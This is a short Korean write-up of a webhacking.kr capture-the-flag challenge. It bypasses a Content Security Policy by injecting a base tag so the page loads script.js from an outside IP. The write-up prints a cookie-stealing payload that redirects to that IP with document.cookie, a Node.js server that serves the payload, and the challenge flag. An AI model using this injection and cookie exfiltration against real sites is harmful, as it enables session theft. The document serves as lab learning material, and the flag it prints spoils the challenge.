

script.js를 로드하고 있다.

script.js에서는 report.php라는 링크를 알려준다.

script태그를 넣으면 CSP(Content Security Policy)에 의해서 javascript를 사용할 수는 없었다.

하지만 base 태그를 이용하여 injection을 시도할 수 있다.
?inject=<base href="http://0.0.0.0/">

cookie를 탈취할 수 있게 script.js를 작성해보자.
window.location.href = "http://61.251.215.194/"+document.cookie;
그리고 base태그를 이용하여 접속하자.
http://webhacking.kr:10010/?inject=%3Cbase%20href=%22http://61.251.215.194/%22%3E
그러면 script.js를 로드하고 코드에 의해 cookie가 오는 것을 확인할 수 있다.

report.php에 ?inject=<base href="http://61.251.215.194/">를 넣어 FLAG를 확인하자.

FLAG를 인증하여 점수를 획득하자. 근데 이상하게 포맷이 다르다. flag로 소문자로 넣어야 한다.

node js를 이용하여 할 수도 있다.
nodejs를 설치한다.
# apt install -y nodejs npm
서버를 구성할 스크립트를 작성한다.
var http = require('http');
http.createServer(function (req, res) {
console.log(req.url)
res.end('window.location.href = "http://61.251.215.194/"+document.cookie;');
}).listen(777);
nodejs 기반의 server를 실행한다.
# node script.js
flag{base_is_basic}